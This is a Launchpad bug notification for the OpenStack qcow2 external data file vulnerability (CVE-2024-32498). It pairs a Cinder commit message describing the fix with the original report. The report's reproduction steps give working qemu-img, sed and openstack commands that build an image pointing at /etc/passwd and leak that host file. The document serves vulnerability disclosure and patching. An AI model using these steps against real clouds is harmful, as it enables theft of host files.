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[OpenStack Infra <2059809@xxxxxxxxxxxxxxxxxx>]

Reviewed:  https://review.opendev.org/c/openstack/cinder/+/923244
Committed: https://opendev.org/openstack/cinder/commit/d6a186945e03649343af55b46ed8dfe0dd326e40
Submitter: "Zuul (22348)"
Branch:    master

commit d6a186945e03649343af55b46ed8dfe0dd326e40
Author: Brian Rosmaita <rosmaita.fossdev@xxxxxxxxx>
Date:   Wed Jun 26 14:09:30 2024 -0400

    CVE-2024-32498: Check for external qcow2 data file
    
    Adds code to image_utils to check for a qcow2 external data
    file, a recent feature of qemu which we do not support and
    which can be used maliciously.
    
    Advice from the qemu-img community is that it is dangerous
    to call qemu-img info on untrusted files, so we copy over
    the format_inspector module from Glance.  This performs basic
    analysis on the image data file so we can detect problematic
    images before we call qemu-img info to get all the image
    attributes.  It is expected that this code will eventually be
    added to oslo so it can be consumed by Glance, Cinder, and
    Nova.
    
    Because cinder itself may create qcow2 format images with a
    backing file in nfs-based backends, the glance format_inspector
    has been modified to optionally allow such files.  Since we are
    monkeying with the format_inspector code, we also copy over
    its unit tests to prevent regressions and to add tests for the
    changed code.
    
    Includes an additional fix to prevent an issue where a user
    could mount a raw volume and write a qcow2 header with a larger
    virtual size on it. On reattaching the volume it would have the
    new larger virtual size avaialable without actually changing
    the size value in cinder.  While we cannot prevent this we can
    prevent the user from using this volume again, which makes this
    exploit pointless.
    
    Co-authored-by: Dan Smith <dansmith@xxxxxxxxxx>
    Co-authored-by: Felix Huettner <felix.huettner@mail.schwarz>
    
    Change-Id: I65857288b797cde573e7443ac6e7e6f57fedde01
    Closes-bug: #2059809


** Changed in: cinder
       Status: In Progress => Fix Released

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https://bugs.launchpad.net/bugs/2059809

Title:
  [OSSA-2024-001] Arbitrary file access through QCOW2 external data file
  (CVE-2024-32498)

Status in Cinder:
  Fix Released
Status in Ubuntu Cloud Archive:
  Fix Committed
Status in Ubuntu Cloud Archive antelope series:
  Fix Committed
Status in Ubuntu Cloud Archive bobcat series:
  Fix Committed
Status in Ubuntu Cloud Archive caracal series:
  Fix Committed
Status in Ubuntu Cloud Archive ussuri series:
  Fix Committed
Status in Ubuntu Cloud Archive yoga series:
  Fix Committed
Status in Glance:
  In Progress
Status in OpenStack Compute (nova):
  Fix Released
Status in OpenStack Security Advisory:
  Fix Released

Bug description:
  OpenStack has security vulnerability in Nova or Glance, that allows an authenticated attacker to read arbitrary files.
  QCOW2 has two mechanisms to read from another file. The backing file issue was reported and fixed with OSSA-2015-014, but the external data file was not discovered.

  Steps to Reproduce:

  - Create a disk image: `qemu-img create -f qcow2 -o data_file=abcdefghigh,data_file_raw=on disk.qcow2 1G` with `abcdefghigh` a placeholder of the same length as the file to read. `qemu-img` will zero it.
  - Replace the filename in the disk image: `sed -i "s#abcdefghigh#/etc/passwd#" disk.qcow2`.
  - Upload/register the disk image: `openstack image create --disk-format qcow2 --container-format bare --file "disk.qcow2" --private "my-image"`.
  - Create a new instance: `openstack server create --flavor "nano" --image "my-image" "my-instance"`.

  With the non-bootable instance there might be two ways to continue:

  Option 1:
  - Derive a new image: `openstack server image create --name "my-leak" "my-instance"`
  - Download the image: `openstack image save --file "leak.qcow2" "my-leak"`
  - The file content starts at guest cluster 0

  Option 2: (this is untested because I reproduced it only in a production system)
  - Reboot the instance in rescue mode: `openstack server rescue --image "cirros-0.6.2-x86_64-disk" "my-instance"`.
  - Go to the Dashboard, open the console of the instance and login to the instance.
  - Extract content from `/dev/sdb` with `cat /dev/sdb | fold -w 1024 | head -n 32`, `xxd -l 1024 -c 32 /dev/sdb` or similar methods.
  - It might be possible to write to the host file. If the disk image is mounted with `qemu-nbd`, writes go through to the external data file.

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